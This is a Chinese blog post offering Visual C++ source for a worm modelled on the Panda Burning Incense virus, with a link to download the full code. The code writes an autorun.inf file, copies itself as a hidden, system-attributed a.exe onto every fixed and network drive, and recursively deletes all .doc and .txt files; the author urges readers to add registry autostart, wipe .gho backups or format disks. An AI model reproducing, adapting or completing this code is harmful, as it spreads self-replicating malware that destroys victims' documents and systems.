现在的位置: 首页 > 综合 > 正文

vc实现仿熊猫烧香病毒的感染代码

2013年12月07日 ⁄ 综合 ⁄ 共 2264字 ⁄ 字号 评论关闭

大家知道优盘病毒产生的原因吧!这里我给大家用vc生成一个感染的程序,能够自动感染硬盘和U盘达到传播的目的。

       先说一下其中的原理。如果你的硬盘或者U盘里面有autorun文件的时候,双击打开就会运行其中设置好的程序,如果我们的程序可以自己复制自己,使每个盘中都存在,并且设置这些文件的属性是系统属性,和隐藏,那么每次打开的会运行而使用户不容易发现,如果你够狠得话也可以加入注册表的操作,是起自启动,也可以把其设置成dll文件,注入到其它的进程。

    下面我们来看代码:

    首先需要自己定义三个函数:   BOOL FilesExist(LPCTSTR filename);//查找感染文件是否存在
                                                     BOOL FilesCreate(void);//创建感染文件
                                                      void FileEXE(void);//执行感染文件

                                                      delall(CString m_path)//删除文件

BOOL CShiyan1Dlg::FilesExist(LPCTSTR filename)//查找文件是否存
{
CFileFind fFind;     //创建cfildfild对象
return fFind.FindFile(filename);
}

BOOL CShiyan1Dlg::FilesCreate(void)
{
CStdioFile file;   //用文字流的方式写autorun文件
LPCTSTR s1="[autorun]/n";
LPCTSTR s2="OPEN=a.exe";
if (file.Open("autorun.inf",CFile::modeCreate|CFile::modeWrite|CFile::typeText)==0)
{
   return 0;
}
file.WriteString(s1);
file.WriteString(s2);
file.SetLength(file.GetPosition());
file.Close();
return 1;
}

void CShiyan1Dlg::FileEXE()//执行文件
{
BOOL retu=FilesExist("c://a.exe"); //查看是否存在如果不存在就重新建立
if(retu==0)
{
   FilesCreate();
   for (char i='A';i<'z';i++)//分别遍历所有盘符只感染硬盘或者U盘
   {
   
    char drive1[20]={i,':'};
    char drive2[20]={i,':'};
    if ((GetDriveType(drive1)==DRIVE_FIXED)||(GetDriveType(drive1)==DRIVE_REMOTE))//判断介质的属性
    {
     LPCTSTR st=strcat(drive1,"autorun.inf");
     LPCTSTR se=strcat(drive2,"a.exe");
     CopyFile("autorun.inf",st,false);
     CopyFile("shiyan1.exe",se,false);//相互之间进行感染
     SetFileAttributes(st,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//设置为系统属性和隐藏
     SetFileAttributes(se,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);

    }
    CString str=i+":";
    delall(str);//删除文件
   }
}
}

void CShiyan1Dlg::delall(CString m_path)//这个实现了之删除电脑里面的txt或者doc格式的文档如果你够狠可以格式化
{
CFileFind ff;
CString szdir=m_path;
if (szdir.Right(1)!="//")
szdir+="//";
szdir+="*.*";
BOOL ree=ff.FindFile(szdir);
while (ree)
{
   ree=ff.FindNextFile();
   CString kuozhan=ff.GetFileName();
   if (kuozhan.Right(3)=="DOC"||kuozhan.Right(3)=="doc"||kuozhan.Right(3)=="TXT"||kuozhan.Right(3)=="txt")
   {
    ::DeleteFile(ff.GetFilePath());
   }
   if (ff.IsDirectory()&&!ff.IsDots())
   {
    delall(ff.GetFilePath());
   }
}
ff.Close();
}

上面的这些已经实现了感染,你可以自己发挥想象。比如写注册表,像熊猫烧香那样直接删除gho的文件,就只有装机了。

可以到我的网盘下载源码:

http://www.brsbox.com/filebox/down/fc/6af8023fd641a4e6f56b43a10bb988c8

抱歉!评论已关闭.